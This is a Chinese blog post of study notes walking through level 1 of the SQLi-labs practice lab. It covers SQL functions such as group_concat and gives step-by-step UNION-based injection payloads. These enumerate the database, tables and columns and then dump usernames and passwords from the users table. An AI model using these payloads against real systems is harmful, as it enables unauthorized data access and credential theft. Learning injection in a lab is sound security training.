当前位置: 首页 > news >正文

Sqllab第一关通关笔记

知识点:

明白数值注入和字符注入的区别

  •         数值注入:通过数字运算判断,1/0 1/1
  •         字符注入:通过引号进行判断,奇数个和偶数个单引号进行识别

联合查询:union 或者 union all 

  • 需要满足字段数一致,否则报错
  • 将输入数据和查询数据进行格式整合然后输出

group_concat()

  • group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
  • []中内容为可选内容
  • distinct:去重
  • 先分组再合并,将格式分组后的字符串合并成一个长字符串;默认分隔符为逗号

concat()

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 没有分隔符

concat_ws(分隔符,字符串)

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 可以设定分隔符,第一个变量为分隔符数据

第一步 测试是否存在sql注入点

利用bp进行抓包测试发现存在sql注入;

构造id=2' 发现数据库报错,但是id=2'' 却不报错;这里应该存在字符型sql注入;

而且查询语句应该是 select 1,2,3 from 表名 where id = '输入信息' limit 0,1

1,2,3表示字段名;应该是2个或3个字段;

第二步 测试注入点的查询规则

既然知道了这里存在注入点下面就开始对它进行注入

构造payload:id=0'+or+1=1--+

发现只返回了一条数据;应该是输出格式限制了;只能显示一条数据

构造payload:id=0'+or+1=0--+

发现什么也没有;这说明条件为假时返回为空

第三步 测试原语句中的查询字段数

好了,整体的查询语句应该就是我上面写的那个;字段数不确定,现在测试一下查询的字段数;

构造payload:id=0'+union+select+1+--+

发现提示字段数量不对

猜测字段数量为3

构造payload:id=0'+union+select+1,2,3+--+

成功出结果了;说明原查询语句中字段数为3;而且输入信息被打印出来了;

有回显说明可以直接查询到一些关键信息,不用再bp爆破了

第四步 利用联合查询查找数据库名和版本信息

构造payload:id=0'+union+select+1,database(),version()+--+

界面显示除了数据库名字和版本信息

第五步 查询指定数据库下的表信息

接下来开始查询数据库下面有几张表

构造payload:id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'+--+

第六步 查询表中的字段信息

发现有一张表为users;这应该是用户表;存放用户的相关信息;那就找一下这张表的字段名有哪些吧

构造payload: id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='users'+--+

发现输出了一堆字段名;里面有username和password字段;这应该是比较关键的信息;

第七步 查询指定字段的数据

查询users表中的username和password的信息;

构造payload:id=0'+union+select+1,2,group_concat('*',username,':',password)+from+users+--+

用户名和密码信息都被打印出来了

10

http://www.lryc.cn/news/317767.html

相关文章:

  • 【Golang星辰图】图像和多媒体处理的创新之路:Go语言的无限潜能
  • MES管理系统中电子看板都有哪些类型?
  • 【Flutter 面试题】await for 如何使用?
  • MongoDB聚合运算符:$dayOfWeek
  • Visual Studio单步调试中监视窗口变灰的问题
  • 【Selenium】selenium介绍及工作原理
  • 【2024-完整版】python爬虫 批量查询自己所有CSDN文章的质量分:附整个实现流程
  • Nuxt3: useFetch使用过程常见一种报错
  • 当代计算机语言占比分析
  • 基于大模型和向量数据库的 RAG 示例
  • 【C语言】比较两个字符串大小,strcmp函数
  • 深入理解与应用Keepalive机制
  • 嵌入(embedding)概念
  • 豆瓣书影音存入Notion
  • Lucene 分词 示例代码
  • 2.18 校招 实习 内推 面经
  • spring中事务失效的场景有哪些?
  • Visual Studio 2022之Release版本程序发送到其它计算机运行
  • Xcode下载模拟器报错Could not download iOS 17.4 Simulator (21E213).
  • mac在终端设置代理
  • 傅立叶之美:深入研究傅里叶分析背后的原理和数学
  • golang学习随便记16-反射
  • 识别恶意IP地址的有效方法
  • 探索信号处理:低通滤波器的原理与应用
  • 计算机网络:应用层知识点汇总
  • 金三银四!一个年薪160W+的就业方向!
  • 实现的一个网页版的简易表白墙
  • 随身WiFi靠谱吗? 看完这篇文章你就懂了?2024随身wifi靠谱品牌推荐
  • mysql的trace追踪SQL工具,进行sql优化
  • docker部署springboot jar包项目